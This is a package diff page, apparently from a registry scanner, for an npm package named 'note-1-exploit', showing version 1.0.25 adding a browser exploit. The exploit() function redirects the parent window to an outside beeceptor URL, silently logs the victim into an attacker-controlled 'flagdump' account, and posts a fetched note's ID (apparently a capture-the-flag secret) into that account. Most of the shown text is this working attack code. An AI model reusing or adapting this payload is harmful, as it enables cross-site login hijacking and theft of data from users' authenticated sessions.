note-1-exploit 1.0.24 → 1.0.25
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +36 -54
- package/package.json +1 -1
package/index.js
CHANGED
@@ -12,59 +12,41 @@ async function exploit() {
|
|
12
12
|
"mode": "cors",
|
13
13
|
"credentials": "include"
|
14
14
|
}).then(res => {
|
15
|
-
|
15
|
+
res.json();
|
16
16
|
})
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
// "redirect": "follow",
|
53
|
-
// "credentials": "include"
|
54
|
-
// });
|
55
|
-
// await fetch("http://127.0.0.1:10082/api/notes", {
|
56
|
-
// "headers": {
|
57
|
-
// "accept": "*/*",
|
58
|
-
// "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
59
|
-
// "content-type": "application/json",
|
60
|
-
// "sec-gpc": "1"
|
61
|
-
// },
|
62
|
-
// "referrer": "http://127.0.0.1:10082/",
|
63
|
-
// "referrerPolicy": "strict-origin-when-cross-origin",
|
64
|
-
// "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
|
65
|
-
// "method": "POST",
|
66
|
-
// "mode": "cors",
|
67
|
-
// "redirect": "follow",
|
68
|
-
// "credentials": "include"
|
69
|
-
// });
|
17
|
+
window.parent.location.replace("https://omniman.free.beeceptor.com?q=hahahaha")
|
18
|
+
let json_results = await all_results.json();
|
19
|
+
let note_name = (Math.random() + 1).toString(36).substring(7);
|
20
|
+
await fetch("/login", {
|
21
|
+
"headers": {
|
22
|
+
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/127.0.0.1:10082p,image/apng,*/*;q=0.8",
|
23
|
+
"accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
24
|
+
"cache-control": "max-age=0",
|
25
|
+
"content-type": "application/x-www-form-urlencoded",
|
26
|
+
"sec-gpc": "1",
|
27
|
+
"upgrade-insecure-requests": "1"
|
28
|
+
},
|
29
|
+
"referrer": "http://web/login",
|
30
|
+
"referrerPolicy": "strict-origin-when-cross-origin",
|
31
|
+
"body": "username=flagdump&password=flagdump",
|
32
|
+
"method": "POST",
|
33
|
+
"mode": "cors",
|
34
|
+
"redirect": "follow",
|
35
|
+
"credentials": "include"
|
36
|
+
});
|
37
|
+
await fetch("/api/notes", {
|
38
|
+
"headers": {
|
39
|
+
"accept": "*/*",
|
40
|
+
"accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
41
|
+
"content-type": "application/json",
|
42
|
+
"sec-gpc": "1"
|
43
|
+
},
|
44
|
+
"referrer": "http://web/",
|
45
|
+
"referrerPolicy": "strict-origin-when-cross-origin",
|
46
|
+
"body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
|
47
|
+
"method": "POST",
|
48
|
+
"mode": "cors",
|
49
|
+
"redirect": "follow",
|
50
|
+
"credentials": "include"
|
51
|
+
});
|
70
52
|
};
|